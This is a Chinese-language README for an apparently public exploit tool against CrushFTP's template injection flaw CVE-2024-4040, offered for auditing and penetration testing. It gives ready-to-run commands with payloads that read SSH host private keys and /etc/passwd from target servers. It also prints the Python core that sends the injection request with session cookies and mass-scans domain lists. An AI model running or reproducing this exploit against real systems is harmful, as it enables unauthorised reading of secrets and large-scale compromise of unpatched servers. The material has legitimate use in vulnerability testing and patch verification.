CVE-2024-4040 - CrushFTP 服务器端模板注入漏洞利用工具
项目描述
本项目是一个针对 CrushFTP 服务器端模板注入漏洞(CVE-2024-4040)的安全检测与利用工具。该漏洞影响 CrushFTP 所有 10.7.1 之前及 11.1.0 之前的版本,允许未授权的远程攻击者突破 VFS 沙盒限制,读取文件系统敏感信息、绕过认证获取管理权限,并可实现远程代码执行。
功能特性
- 单目标漏洞检测:针对指定 IP/域名和端口进行模板注入检测
- 任意文件读取:通过模板注入读取服务器文件系统中的任意文件
- 批量扫描:支持从文件中批量读取目标域名列表进行大规模检测
- 灵活的文件读取语法:支持使用
<INCLUDE>标签或其他自定义标签构造 payload - Cookie 会话保持:自动处理登录会话和认证 Cookie 传递
- SSL 错误抑制:支持检测受自签名证书影响的 HTTPS 目标
安装指南
系统要求
- Python 3.6+
- pip3 包管理器
安装步骤
# 克隆项目仓库
git clone https://github.com/gotr00t0day/CVE-2024-4040.git
# 进入项目目录
cd CVE-2024-4040
# 安装依赖
pip3 install -r requirements.txt
依赖项
requests- HTTP 请求库colorama- 终端彩色输出argparse- 命令行参数解析(Python 标准库)
使用说明
命令行参数
| 参数 | 简写 | 说明 |
|---|---|---|
--target | -t | 目标地址,例如 http://192.168.1.100:8080 |
--file | -f | 要读取的文件路径或注入 payload(如 <INCLUDE>filename</INCLUDE>) |
--domains | -d | 包含多个目标域名的文件路径(每行一个) |
基础使用示例
1. 单个目标漏洞检测与文件读取
# 读取 SSH 主机私钥文件
python3 CVE-2024-4040.py -t http://192.168.1.100:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"
# 读取系统配置文件
python3 CVE-2024-4040.py -t https://target.com:443 -f "<INCLUDE>/etc/passwd</INCLUDE>"
2. 批量扫描多个目标
# 使用域名列表文件批量检测
python3 CVE-2024-4040.py -d targets.txt -f "%hostname%"
典型使用场景
- 安全审计:对企业内部的 CrushFTP 服务进行漏洞排查
- 渗透测试:验证目标服务器是否存在 CVE-2024-4040 漏洞
- 应急响应:快速检测线上环境是否受该漏洞影响
- 批量资产检测:扫描大量 CrushFTP 服务实例的脆弱性
输出说明
[+] TARGET - VULNERABLE!- 绿色提示,表示目标存在漏洞且成功读取文件内容- 无输出或连接错误 - 目标可能已修复漏洞或存在网络问题
核心代码
漏洞检测核心函数
def check_vulnerability(target: str, response_text: str, file: str):
"""
检测响应中是否包含漏洞利用成功的特征标记
参数:
target: 目标服务器地址
response_text: 服务器返回的响应内容
file: 请求的文件路径或payload
"""
if "<commandResult>" in response_text:
print(f"{Fore.GREEN}[+] {Fore.WHITE}{target} - VULNERABLE!{Fore.RESET}\n")
文件读取攻击实现
def get_files(target: str, file: str) -> str:
"""
向目标CrushFTP服务器发送模板注入请求
流程:
1. 创建会话并访问登录页面获取Cookie
2. 构造包含恶意payload的POST数据
3. 携带认证Cookie发送攻击请求
4. 调用检测函数判断漏洞是否存在
"""
try:
s = requests.Session()
r = s.post(f"http://{target}/WebInterface/login.html")
cookies = r.cookies
data = {
"command": "exists",
"paths": fr"{file}", # 模板注入payload
}
# 处理认证Cookie
if 'currentAuth' in cookies:
data['c2f'] = cookies['currentAuth']
r = s.post(f"http://{target}/WebInterface/login.html",
data=data, cookies=cookies, headers=header)
check_vulnerability(target, r.text, file)
except requests.exceptions.SSLError as e:
print(e)
except requests.exceptions.ConnectionError:
pass
批量扫描实现
def scan_domain(file: str, command: str):
"""
从文件中批量读取域名并进行漏洞扫描
参数:
file: 包含域名列表的文件路径
command: 要执行的读取payload
"""
with open(file, "r") as f:
domains = [x.strip() for x in f.readlines()]
for domainlist in domains:
get_files(domainlist, command)
主程序入口
if __name__ == "__main__":
# 单目标模式
if args.target:
if args.file:
get_files(args.target, args.file)
# 批量扫描模式
if args.domains:
if args.file:
scan_domain(args.domains, args.file)
技术分析参考
如需深入了解漏洞原理和利用细节,请查阅 AttackerKB 的 CVE-2024-4040 分析报告。 6HFtX5dABrKlqXeO5PUv/516zftukeAGUTREt0kqWDo=